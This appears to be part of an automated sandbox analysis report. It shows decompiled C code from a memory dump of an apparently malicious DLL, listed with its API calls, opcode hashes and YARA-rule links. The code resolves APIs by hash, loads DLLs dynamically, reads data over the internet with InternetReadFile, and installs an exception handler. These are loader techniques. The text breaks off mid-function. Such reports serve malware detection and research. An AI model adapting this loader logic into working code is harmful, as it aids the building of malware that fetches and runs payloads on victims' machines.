									_t425 = 0;
									_t398 = 0;
									while( *((intOrPtr*)(_t398 + _t363 + 8)) != 0x4ade4070) {
										_t425 = _t425 + 1;
										_t398 = _t398 + 0x18;
										if(_t425 < 0x10) {
											continue;
										} else {
											goto L9;
										}
										goto L15;
									}
									_t397 =  *((intOrPtr*)(_t398 + _t363 + 0x14));
									if(_t397 != 0) {
										L13:
										if(_t397 != 0) {
											 *_t397( *(_t426 + 0x27c),  *(_t426 + 0x27c) >> 1);
										}
										goto L15;
									} else {
										goto L10;
									}
									L106:
									L9:
									asm("o16 nop [eax+eax]");
									_t7 = _t363 + 0x180; // 0x17a8e68
									_t363 =  *_t7;
								} while (_t363 != 0);
								goto L10;
							}
						}
						L15:
						if(( *(E6EBA9DE0(_t426 + 0x278)) & 0x0000ffff) != 0x5c) {
							E6EBA96D0(_t426 + 0x27c, 0x5c);
						}
						_t366 =  *0x6ebcb208; // 0x17a7468
						E6EBA8CC0(_t366 + 0x30,  *((intOrPtr*)(_t426 + 0x278)));
						E6EBA8CA0(_t426 + 0x278);
					}
					_t246 =  *0x6ebcb208; // 0x17a7468
					E6EBA88C0(_t426 + 0x2c0, _t246 + 0x30);
					E6EBA8CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x2bc)));
					_t291 = _t426 + 0x2bc;
				}
				E6EBA8CA0(_t291);
				_t143 = E6EBB0220(_t426 + 0x2d4,  *((intOrPtr*)(_t426 + 0x2c8)), 0);
				E6EBA8810(_t426 + 0x2d8, 0x2800);
				_t407 =  *((intOrPtr*)(_t426 + 0x2d4));
				 *_t407 = 0;
				E6EBB9470(_t426 + 0x2ac, 0x6ebca1a0, 0x28);
				_t147 = E6EBB9640(_t426 + 0x2a8, 0);
				E6EBBE780(_t278, _t147, E6EBB9650(_t426 + 0x2a4));
				 *((intOrPtr*)(_t426 + 0x294)) = _t407;
				 *((char*)(_t426 + 0x290)) = 0;
				 *((intOrPtr*)(_t426 + 0x298)) = 0;
				 *((intOrPtr*)(_t426 + 0x29c)) = 2;
				 *((char*)(_t426 + 0x2a0)) = 1;
				_t151 = E6EBB9640(_t426 + 0x2a8, 0);
				_push(_t426 + 0x290);
				_push(E6EBA7CD0);
				_push(0);
				_push(0x7fffffff);
				_push(0x6ebca1c8);
				E6EBBE5D0(_t151, 0x28, _t407);
				E6EBB9510(_t426 + 0x2a4);
				E6EBB0220(_t143,  *((intOrPtr*)(_t426 + 0x2d8)), 0);
				E6EBA8CA0(_t426 + 0x2d4);
				 *_t426 = 0;
				 *(_t426 + 4) = 1;
				 *((intOrPtr*)(_t426 + 8)) = 0;
				 *((intOrPtr*)(_t426 + 0xc)) = 3;
				E6EBA8AB0(_t426 + 0x18,  *((intOrPtr*)(_t426 + 0x2d0)), 0);
				_push(1);
				if(E6EBBCEA0(_t278, _t426 + 4, 0x28, _t143, _t407) == 0) {
					L53:
					E6EBA8CA0(_t426 + 0x10);
					if( *(_t426 + 4) != 0) {
						_t382 =  *_t426;
						if(_t382 == 0 || _t382 == 0xffffffff) {
							_t164 = 1;
						} else {
							_t164 = 0;
						}
						if(_t164 == 0) {
							E6EBBCE70(_t382);
						}
					}
					 *_t426 = 0;
					E6EBA8CA0(_t426 + 0x2cc);
					E6EBA8CA0(_t426 + 0x2c4);
					return 0;
				} else {
					_t279 = _t278 ^ 0x38ba5c7b;
					_t408 = _t426 + 0x44;
					_t401 = _t426 + 0x2e8;
					while(1) {
						E6EBA8AB0(_t426 + 0x2e8, _t408, 0);
						E6EBA9E70(_t426 + 0x2e4, _t401);
						E6EBA83B0(_t426 + 0x2f0);
						_t170 = E6EBBD620( *((intOrPtr*)(_t426 + 0x2f0)), E6EBB6040( *((intOrPtr*)(_t426 + 0x2f0)), 0x7fffffff));
						E6EBB0B10(_t426 + 0x2f0);
						if(_t279 == _t170) {
							break;
						}
						E6EBA8CA0(_t401);
						E6EBA8CA0(_t426 + 0x2e0);
						if(E6EBBD0E0(_t426) != 0) {
							continue;
						} else {
							goto L53;
						}
						goto L106;
					}
					E6EBA8CA0(_t401);
					E6EBA88C0(_t426 + 0x2b8, _t426 + 0x2c4);
					E6EBB0220(_t426 + 0x2bc,  *((intOrPtr*)(_t426 + 0x2e4)), 0);
					_t409 =  *((intOrPtr*)(_t426 + 0x2b4));
					_push(E6EBB0180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff,  *((intOrPtr*)(_t426 + 0x2b4))) + _t179 + 0xa);
					E6EBB9350(_t426 + 0x284);
					_t418 = E6EBB9640(_t426 + 0x284, 0);
					_t183 = E6EBB9640(_t426 + 0x284, 8);
					_t402 = E6EBB0180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff, _t409);
					 *((intOrPtr*)(_t418 + 4)) = _t183;
					 *_t418 = _t402 + _t402;
					 *((short*)(_t418 + 2)) = _t402 + _t402 + 2;
					E6EBB01B0(_t183, _t409, _t402 + _t402 + 2, _t409, 0);
					_t389 =  *0x6ebcb1f4; // 0x17a1340
					 *(_t426 + 0x2dc) = 0;
					if(_t389 == 0xc139578) {
						 *0x6ebcb1f4 = 0;
						goto L29;
					} else {
						if(_t389 == 0) {
							L29:
							_push(0x588ab3ea);
							_t281 = E6EBA7564(0x588ab3ea);
							if(_t281 == 0) {
								if(E6EBA6C50(0x588ab3ea) != 0) {
									_push(0x588ab3ea);
									_t281 = E6EBA7564(0x588ab3ea);
								}
							}
							if(_t281 == 0) {
								goto L43;
							} else {
								_t426 = _t426 + 0xfffffff8;
								_t282 = E6EBA67C8(_t281, 0x208c2589);
								goto L32;
							}
						} else {
							do {
								_t340 = 0;
								_t215 = 0;
								while( *((intOrPtr*)(_t215 + _t389 + 8)) != 0x208c2589) {
									_t340 = _t340 + 1;
									_t215 = _t215 + 0x18;
									if(_t340 < 0x10) {
										continue;
									} else {
										goto L28;
									}
									goto L106;
								}
								_t282 =  *((intOrPtr*)(_t215 + _t389 + 0x14));
								if(_t282 != 0) {
									L32:
									if(_t282 == 0) {
										L43:
										if( *(_t426 + 0x2dc) == 0) {
											goto L35;
										} else {
											goto L44;
										}
									} else {
										_t212 = LdrLoadDll(0, 0, E6EBB9640(_t426 + 0x284, 0), _t426 + 0x2dc); // executed
										if( *(_t426 + 0x2dc) == 0 || _t212 != 0) {
											L35:
											E6EBB9510(_t426 + 0x280);
											E6EBA8CA0(_t426 + 0x2b4);
											E6EBA8CA0(_t426 + 0x2e0);
											E6EBA8CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t390 =  *_t426;
												if(_t390 == 0 || _t390 == 0xffffffff) {
													_t197 = 1;
												} else {
													_t197 = 0;
												}
												if(_t197 == 0) {
													E6EBBCE70(_t390);
												}
											}
											 *_t426 = 0;
											E6EBA8CA0(_t426 + 0x2cc);
											E6EBA8CA0(_t426 + 0x2c4);
											return 0;
										} else {
											L44:
											E6EBB9510(_t426 + 0x280);
											E6EBA8CA0(_t426 + 0x2b4);
											E6EBA8CA0(_t426 + 0x2e0);
											E6EBA8CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t391 =  *_t426;
												if(_t391 == 0 || _t391 == 0xffffffff) {
													_t206 = 1;
												} else {
													_t206 = 0;
												}
												if(_t206 == 0) {
													E6EBBCE70(_t391);
												}
											}
											 *_t426 = 0;
											E6EBA8CA0(_t426 + 0x2cc);
											E6EBA8CA0(_t426 + 0x2c4);
											return 1;
										}
									}
								} else {
									goto L29;
								}
								goto L106;
								L28:
								asm("o16 nop [eax+eax]");
								_t67 = _t389 + 0x180; // 0x17a8e68
								_t389 =  *_t67;
							} while (_t389 != 0);
							goto L29;
						}
					}
				}
				goto L106;
			}

0x6eba6c5a
0x6eba6c65
0x6eba6c73
0x6eba6c7a
0x6eba6c7f
0x6eba6c89
0x6eba735c
0x6eba74c4
0x6eba74ce
0x6eba74d0
0x6eba74d5
0x6eba7551
0x6eba74d7
0x6eba74d9
0x6eba74dd
0x6eba74e0
0x6eba74e3
0x6eba74ea
0x6eba74ed
0x6eba74f4
0x6eba74f7
0x6eba74fe
0x6eba7501
0x6eba7508
0x6eba750b
0x6eba7512
0x6eba7515
0x6eba751c
0x6eba751f
0x6eba7526
0x6eba7529
0x6eba7530
0x6eba7533
0x6eba7538
0x6eba753d
0x6eba753d
0x6eba7540
0x6eba7544
0x6eba7549
0x6eba754c
0x6eba754c
0x6eba754f
0x6eba7553
0x6eba7553
0x6eba736e
0x6eba7380
0x6eba7385
0x6eba7391
0x6eba74b5
0x00000000
0x6eba7397
0x6eba7399
0x6eba73c8
0x6eba73cd
0x6eba73d3
0x6eba73d7
0x6eba748c
0x6eba7497
0x6eba749d
0x6eba749d
0x6eba748c
0x6eba73df
0x6eba73e8
0x6eba73f0
0x00000000
0x6eba73f0
0x6eba739b
0x6eba739d
0x6eba739d
0x6eba739f
0x6eba73a1
0x6eba73af
0x6eba73b0
0x6eba73b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba73b6
0x6eba74a4
0x6eba74aa
0x6eba73f2
0x6eba73f4
0x6eba7407
0x6eba7407
0x6eba74b0
0x00000000
0x6eba74b0
0x00000000
0x6eba73b8
0x6eba73b8
0x6eba73be
0x6eba73be
0x6eba73c4
0x00000000
0x6eba739d
0x6eba7399
0x6eba7409
0x6eba741b
0x6eba7426
0x6eba7426
0x6eba742b
0x6eba743b
0x6eba7447
0x6eba7447
0x6eba744c
0x6eba745c
0x6eba746f
0x6eba7474
0x6eba6c8f
0x6eba6c95
0x6eba72bc
0x6eba72c6
0x6eba72c8
0x6eba72cd
0x6eba7349
0x6eba72cf
0x6eba72d1
0x6eba72d5
0x6eba72d8
0x6eba72db
0x6eba72e2
0x6eba72e5
0x6eba72ec
0x6eba72ef
0x6eba72f6
0x6eba72f9
0x6eba7300
0x6eba7303
0x6eba730a
0x6eba730d
0x6eba7314
0x6eba7317
0x6eba731e
0x6eba7321
0x6eba7328
0x6eba732b
0x6eba7330
0x6eba7335
0x6eba7335
0x6eba7338
0x6eba733c
0x6eba7341
0x6eba7344
0x6eba7344
0x6eba7347
0x6eba734b
0x6eba734b
0x6eba6ca7
0x6eba6cb9
0x6eba6cbe
0x6eba6cca
0x6eba72ad
0x00000000
0x6eba6cd0
0x6eba6cd2
0x6eba6d01
0x6eba6d06
0x6eba6d0c
0x6eba6d10
0x6eba7284
0x6eba728f
0x6eba7295
0x6eba7295
0x6eba7284
0x6eba6d18
0x6eba6d21
0x6eba6d29
0x00000000
0x6eba6d29
0x6eba6cd4
0x6eba6cd6
0x6eba6cd6
0x6eba6cd8
0x6eba6cda
0x6eba6ce8
0x6eba6ce9
0x6eba6cef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba6cef
0x6eba729c
0x6eba72a2
0x6eba6d2b
0x6eba6d2d
0x6eba6d40
0x6eba6d40
0x00000000
0x6eba72a8
0x00000000
0x6eba72a8
0x00000000
0x6eba6cf1
0x6eba6cf1
0x6eba6cf7
0x6eba6cf7
0x6eba6cfd
0x00000000
0x6eba6cd6
0x6eba6cd2
0x6eba6d42
0x6eba6d54
0x6eba6d5f
0x6eba6d5f
0x6eba6d64
0x6eba6d74
0x6eba6d80
0x6eba6d80
0x6eba6d85
0x6eba6d95
0x6eba6da8
0x6eba6dad
0x6eba6dad
0x6eba6db4
0x6eba6dc9
0x6eba6ddc
0x6eba6de1
0x6eba6df1
0x6eba6dfb
0x6eba6e09
0x6eba6e20
0x6eba6e27
0x6eba6e2e
0x6eba6e35
0x6eba6e3c
0x6eba6e47
0x6eba6e57
0x6eba6e6a
0x6eba6e6b
0x6eba6e70
0x6eba6e72
0x6eba6e77
0x6eba6e7c
0x6eba6e88
0x6eba6e98
0x6eba6ea4
0x6eba6eab
0x6eba6eae
0x6eba6eb3
0x6eba6eb7
0x6eba6ecb
0x6eba6ed0
0x6eba6edd
0x6eba71d9
0x6eba71dd
0x6eba71e7
0x6eba71e9
0x6eba71ee
0x6eba71f9
0x6eba71f5
0x6eba71f5
0x6eba71f5
0x6eba7200
0x6eba7203
0x6eba7203
0x6eba7200
0x6eba7208
0x6eba7216
0x6eba7222
0x6eba7233
0x6eba6ee3
0x6eba6ee3
0x6eba6ee9
0x6eba6eed
0x6eba6ef4
0x6eba6efe
0x6eba6f0b
0x6eba6f1e
0x6eba6f3a
0x6eba6f48
0x6eba6f4f
0x00000000
0x00000000
0x6eba71b8
0x6eba71c4
0x6eba71d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba71d3
0x6eba6f57
0x6eba6f6b
0x6eba6f80
0x6eba6f85
0x6eba6f9c
0x6eba6fa4
0x6eba6fb7
0x6eba6fc2
0x6eba6fd5
0x6eba6fdd
0x6eba6fe3
0x6eba6feb
0x6eba6fef
0x6eba6ff4
0x6eba6ffa
0x6eba700b
0x6eba7269
0x00000000
0x6eba7011
0x6eba7013
0x6eba7042
0x6eba7047
0x6eba704d
0x6eba7051
0x6eba7240
0x6eba724b
0x6eba7251
0x6eba7251
0x6eba7240
0x6eba7059
0x00000000
0x6eba705f
0x6eba7066
0x6eba706e
0x00000000
0x6eba706e
0x6eba7015
0x6eba7017
0x6eba7017
0x6eba7019
0x6eba701b
0x6eba7029
0x6eba702a
0x6eba7030
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba7030
0x6eba7258
0x6eba725e
0x6eba7070
0x6eba7072
0x6eba7126
0x6eba712e
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba7078
0x6eba7093
0x6eba709d
0x6eba70a7
0x6eba70ae
0x6eba70ba
0x6eba70c6
0x6eba70cf
0x6eba70d9
0x6eba70db
0x6eba70e0
0x6eba70eb
0x6eba70e7
0x6eba70e7
0x6eba70e7
0x6eba70f2
0x6eba70f5
0x6eba70f5
0x6eba70f2
0x6eba70fa
0x6eba7108
0x6eba7114
0x6eba7125
0x6eba7134
0x6eba7134
0x6eba713b
0x6eba7147
0x6eba7153
0x6eba715c
0x6eba7166
0x6eba7168
0x6eba716d
0x6eba7178
0x6eba7174
0x6eba7174
0x6eba7174
0x6eba717f
0x6eba7182
0x6eba7182
0x6eba717f
0x6eba7187
0x6eba7195
0x6eba71a1
0x6eba71b5
0x6eba71b5
0x6eba709d
0x6eba7264
0x00000000
0x6eba7264
0x00000000
0x6eba7032
0x6eba7032
0x6eba7038
0x6eba7038
0x6eba703e
0x00000000
0x6eba7017
0x6eba7013
0x6eba700b
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000000,?,00000000), ref: 6EBA7093

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 55ece1ebcba8f688ba1d8f3ec17ca619913ceb24db16b2603aabf99997328415
Instruction ID: 86926aa98d0c3b467af57dbe1ec253f4c7686edc827715ffdc2ee5aad863c989
Opcode Fuzzy Hash: 55ece1ebcba8f688ba1d8f3ec17ca619913ceb24db16b2603aabf99997328415
Instruction Fuzzy Hash: 7E22B13066C3C29ADF64DBACCC98BEE7B99EF90608F404D2D9659871D4EFB09805C752

Uniqueness

Uniqueness Score: -1.00%

Function 6EBC39F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EBC39F9(void* __eax, signed int __ebx, void* __edi) {
				long _t42;
				void* _t60;
				long _t63;
				long _t64;
				void* _t79;
				void* _t81;
				signed int _t86;
				void* _t124;
				void* _t128;
				void* _t133;
				long* _t134;
				void* _t139;

				_t124 = __edi;
				_t86 = __ebx;
				if(__eax == 0) {
					_t42 = E6EBA7F00();
					__eflags = _t42;
					if(_t42 != 0) {
						 *_t134 = _t42;
						E6EBA8CA0(_t139 + 0x34);
						E6EBA8CA0(_t139 + 0x44);
						goto L14;
					} else {
						goto L1;
					}
				} else {
					L1:
					E6EBA83B0(_t139 + 0x2c);
					E6EBB0B30(_t139 + 0x40,  *((intOrPtr*)(_t139 + 0x34)),  *((intOrPtr*)(_t139 + 0x2c)));
					E6EBB0B10(_t139 + 0x2c);
					_t130 = _t139;
					E6EBB50A0(_t139 + 0x44, _t139, 0x6ebc9424);
					E6EBB3B00(_t86, _t130);
					E6EBB7560(_t130, _t124, _t130);
					 *((char*)( *((intOrPtr*)(E6EBB7600(_t86, 0))))) = 0;
					_t143 = _t134[0xa] - 1;
					if(_t134[0xa] > 1) {
						 *(_t139 + 0xc) = _t134;
						_t128 = 1;
						_t133 = _t139 + 0x54;
						while(1) {
							_t79 = E6EBB7600(_t86, _t128);
							_push(1);
							_push(0x6ebca9e0);
							E6EBA1BA0(_t143, _t133);
							_t81 = E6EBB0ED0(_t79, _t128,  *((intOrPtr*)(_t139 + 0x54)));
							E6EBB0B10(_t133);
							if(_t81 != 0) {
								break;
							}
							_t128 = _t128 + 1;
							if(_t128 <  *_t86) {
								continue;
							} else {
								_t134 =  *(_t139 + 0xc);
							}
							goto L6;
						}
						_t134 =  *(_t139 + 0xc);
						 *((char*)( *((intOrPtr*)(E6EBB7600(_t86, _t128))))) = 0;
					}
					L6:
					E6EBB3EC0(_t86);
					_push(0);
					E6EBB9350(_t139 + 0x10);
					_push(0x2800);
					E6EBB9350(_t139 + 0x20);
					while(1) {
						 *(_t139 + 0x5c) = 0;
						if(E6EBA15C0(0xd27f045a, 0x547ac48e) == 0) {
							break;
						}
						_t60 = E6EBB9640(_t139 + 0x20, 0);
						_t63 = InternetReadFile(_t134[4], _t60, E6EBB9650(_t139 + 0x1c), _t139 + 0x5c); // executed
						__eflags = _t63;
						if(_t63 == 0) {
							_t64 = E6EBA7F00();
							__eflags = _t64;
							if(_t64 != 0) {
								L9:
								 *_t134 = _t64;
								E6EBB9510(_t139 + 0x1c);
								E6EBB9510(_t139 + 0xc);
								E6EBA8CA0(_t139 + 0x34);
								E6EBA8CA0(_t139 + 0x44);
								L14:
								E6EBB0B10(_t139 + 0x3c);
								_push(0);
								E6EBB9350( *((intOrPtr*)(_t139 + 0x78)));
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								goto L11;
							}
						} else {
							L11:
							__eflags =  *(_t139 + 0x5c);
							if( *(_t139 + 0x5c) == 0) {
								_push(_t139 + 0xc);
								E6EBB93D0( *((intOrPtr*)(_t139 + 0x78)));
								E6EBB9510(_t139 + 0x1c);
								E6EBB9510(_t139 + 0xc);
								E6EBA8CA0(_t139 + 0x34);
								E6EBA8CA0(_t139 + 0x44);
								E6EBB0B10(_t139 + 0x3c);
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								E6EBB9710(_t139 + 0x14, E6EBB9640(_t139 + 0x20, 0),  *(_t139 + 0x5c));
								continue;
							}
						}
						goto L22;
					}
					_t64 = 0x7f;
					goto L9;
				}
				L22:
			}

0x6ebc39f9
0x6ebc39f9
0x6ebc39fb
0x6ebc3c44
0x6ebc3c49
0x6ebc3c4b
0x6ebc3b6d
0x6ebc3b74
0x6ebc3b7d
0x00000000
0x6ebc3c51
0x00000000
0x6ebc3c51
0x6ebc3a01
0x6ebc3a01
0x6ebc3a09
0x6ebc3a16
0x6ebc3a1f
0x6ebc3a24
0x6ebc3a31
0x6ebc3a39
0x6ebc3a40
0x6ebc3a50
0x6ebc3a53
0x6ebc3a57
0x6ebc3a59
0x6ebc3a5d
0x6ebc3a62
0x6ebc3a66
0x6ebc3a69
0x6ebc3a70
0x6ebc3a72
0x6ebc3a78
0x6ebc3a83
0x6ebc3a8c
0x6ebc3a95
0x00000000
0x00000000
0x6ebc3a9b
0x6ebc3a9e
0x00000000
0x6ebc3aa0
0x6ebc3aa0
0x6ebc3aa0
0x00000000
0x6ebc3a9e
0x6ebc3c30
0x6ebc3c3c
0x6ebc3c3c
0x6ebc3aa4
0x6ebc3aa6
0x6ebc3aab
0x6ebc3ab1
0x6ebc3ab6
0x6ebc3abf
0x6ebc3ac4
0x6ebc3ac4
0x6ebc3adf
0x00000000
0x00000000
0x6ebc3b1b
0x6ebc3b35
0x6ebc3b37
0x6ebc3b39
0x6ebc3c1c
0x6ebc3c21
0x6ebc3c23
0x6ebc3ae6
0x6ebc3ae6
0x6ebc3aed
0x6ebc3af6
0x6ebc3aff
0x6ebc3b08
0x6ebc3bb1
0x6ebc3bb5
0x6ebc3bba
0x6ebc3bc0
0x6ebc3bd0
0x6ebc3c29
0x00000000
0x6ebc3c29
0x6ebc3b3f
0x6ebc3b3f
0x6ebc3b3f
0x6ebc3b44
0x6ebc3bd7
0x6ebc3bdc
0x6ebc3be5
0x6ebc3bee
0x6ebc3bf7
0x6ebc3c00
0x6ebc3c09
0x6ebc3c19
0x6ebc3b4a
0x6ebc3b5e
0x00000000
0x6ebc3b5e
0x6ebc3b44
0x00000000
0x6ebc3b39
0x6ebc3ae1
0x00000000
0x6ebc3ae1
0x00000000

APIs

InternetReadFile.WININET(?,00000000,00000000,00000000,00000000,D27F045A,547AC48E), ref: 6EBC3B35

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: f2d7d26d30bea68538aef2c01e32a019923d9cd3eebe27c8678919b76bb538a7
Instruction ID: 50880ad9acd3823278d3f716a8b04d001cbf93e10248aa91f109cfeb9eb9aea5
Opcode Fuzzy Hash: f2d7d26d30bea68538aef2c01e32a019923d9cd3eebe27c8678919b76bb538a7
Instruction Fuzzy Hash: EE515E3122C2849FD704DBA4C8A1AFFBBA8EF91648F404D2DF19647190EF719909CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA22A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E6EBA22A0(void* __ecx, intOrPtr __edx) {
				intOrPtr* _v8;
				intOrPtr _v24;
				intOrPtr* _t10;
				void* _t13;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr* _t22;
				intOrPtr* _t23;
				intOrPtr* _t24;

				_t19 = __edx;
				_t24 =  &_v8;
				if(__ecx == 0) {
					 *_t24 = 0;
					_v8 = 0;
				} else {
					 *_t24 = E6EBA1230(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v24 = _t19;
				}
				_t20 =  *0x6ebcb1f4; // 0x17a1340
				if(_t20 == 0xc139578) {
					 *0x6ebcb1f4 = 0;
					_t20 = 0;
				}
				if(_t20 == 0) {
					L10:
					_push(0x588ab3ea);
					_t10 = E6EBA7564(0x588ab3ea);
					_t23 = _t10;
					if(_t23 == 0) {
						_t10 = E6EBA6C50(0x588ab3ea);
						if(_t10 != 0) {
							_push(0x588ab3ea);
							_t10 = E6EBA7564(0x588ab3ea);
							_t23 = _t10;
						}
					}
					if(_t23 == 0) {
						goto L15;
					} else {
						_t24 = _t24 + 0xfffffff8;
						_t10 = E6EBA67C8(_t23, 0xcd123e03);
						_t22 = _t10;
						goto L13;
					}
				} else {
					do {
						_t18 = 0;
						_t10 = 0;
						while( *((intOrPtr*)(_t10 + _t20 + 8)) != 0xcd123e03) {
							_t18 = _t18 + 1;
							_t10 = _t10 + 0x18;
							if(_t18 < 0x10) {
								continue;
							}
							goto L9;
						}
						_t22 =  *((intOrPtr*)(_t10 + _t20 + 0x14));
						if(_t22 != 0) {
							L13:
							if(_t22 == 0) {
								L15:
								return _t10;
							}
							_t13 =  *_t22(0, _t24); // executed
							return _t13;
						}
						goto L10;
						L9:
						asm("o16 nop [eax+eax]");
						_t5 = _t20 + 0x180; // 0x17a8e68
						_t20 =  *_t5;
					} while (_t20 != 0);
					goto L10;
				}
			}

0x6eba22a0
0x6eba22a1
0x6eba22a6
0x6eba22c2
0x6eba22c5
0x6eba22a8
0x6eba22b7
0x6eba22ba
0x6eba22ba
0x6eba22c9
0x6eba22d5
0x6eba22d7
0x6eba22e1
0x6eba22e1
0x6eba22e5
0x6eba230e
0x6eba2313
0x6eba2314
0x6eba2319
0x6eba231d
0x6eba234a
0x6eba2351
0x6eba2358
0x6eba2359
0x6eba235e
0x6eba235e
0x6eba2351
0x6eba2321
0x00000000
0x6eba2323
0x6eba232a
0x6eba232d
0x6eba2332
0x00000000
0x6eba2332
0x6eba22e7
0x6eba22e7
0x6eba22e7
0x6eba22e9
0x6eba22eb
0x6eba22f5
0x6eba22f6
0x6eba22fc
0x00000000
0x00000000
0x00000000
0x6eba22fc
0x6eba2362
0x6eba2368
0x6eba2334
0x6eba2336
0x6eba2344
0x6eba2344
0x6eba2344
0x6eba233e
0x00000000
0x6eba233e
0x00000000
0x6eba22fe
0x6eba22fe
0x6eba2304
0x6eba2304
0x6eba230a
0x00000000
0x6eba22e7

APIs

NtDelayExecution.NTDLL(00000000,00000000), ref: 6EBA233E

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 602bcd73fc29a1ac92e4f8a692db737b8e0817cb5689239fa70319f6afdb9377
Instruction ID: 72c71a5f52df068a7d3d3137ee39c1745a18d798198fb38bee8311bd4856a2d4
Opcode Fuzzy Hash: 602bcd73fc29a1ac92e4f8a692db737b8e0817cb5689239fa70319f6afdb9377
Instruction Fuzzy Hash: 5A110630A2C7935FDE8896AE5A5075E3DDAEF82714F15C629CA15DB288FA30C8008291

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA7A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6EBA7A60(intOrPtr* __ecx) {
				void* _t1;

				_push(E6EBA7D40);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x6eba7a60
0x6eba7a65
0x6eba7a67
0x6eba7a69

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,6EBA7D40,6EBA7A11,588AB3EA,?,?,6EB95168,00000001), ref: 6EBA7A67

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: ec7d6fe61f5bb878359bbc340b31e4f482cbebcfbf762656d030ed08e8f0d607
Instruction ID: d3b8c5c1af3a4338c01f44051b45716ede3ad60df47a32187ccc81e5732f2762
Opcode Fuzzy Hash: ec7d6fe61f5bb878359bbc340b31e4f482cbebcfbf762656d030ed08e8f0d607
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA67C8, Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9838df9e2ea2930d260bc40d368c81ab974fb61a6735a83b88edf1332211d602
Instruction ID: 2ecb6d6574b0fa8d156a2fa7e7e477a316531c2afcad1362bbee5194b96a011d
Opcode Fuzzy Hash: 9838df9e2ea2930d260bc40d368c81ab974fb61a6735a83b88edf1332211d602
Instruction Fuzzy Hash: C7C184B462C3868FDB60DF9DC49079A7BE4FB95304F10C83DCA998B249EB709945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA47B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6EBA47B0(void* __ebx, intOrPtr __edi, intOrPtr __esi) {
				void* _t93;
				long _t99;
				void* _t109;
				int _t112;
				intOrPtr _t118;
				char _t133;
				intOrPtr _t141;
				void* _t144;
				void* _t149;
				intOrPtr _t150;
				intOrPtr _t155;
				void* _t158;
				void* _t161;
				intOrPtr _t163;
				void* _t166;
				void* _t169;
				int _t174;
				intOrPtr _t179;
				void* _t182;
				void* _t185;
				void* _t194;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t203;
				intOrPtr* _t205;
				void* _t206;
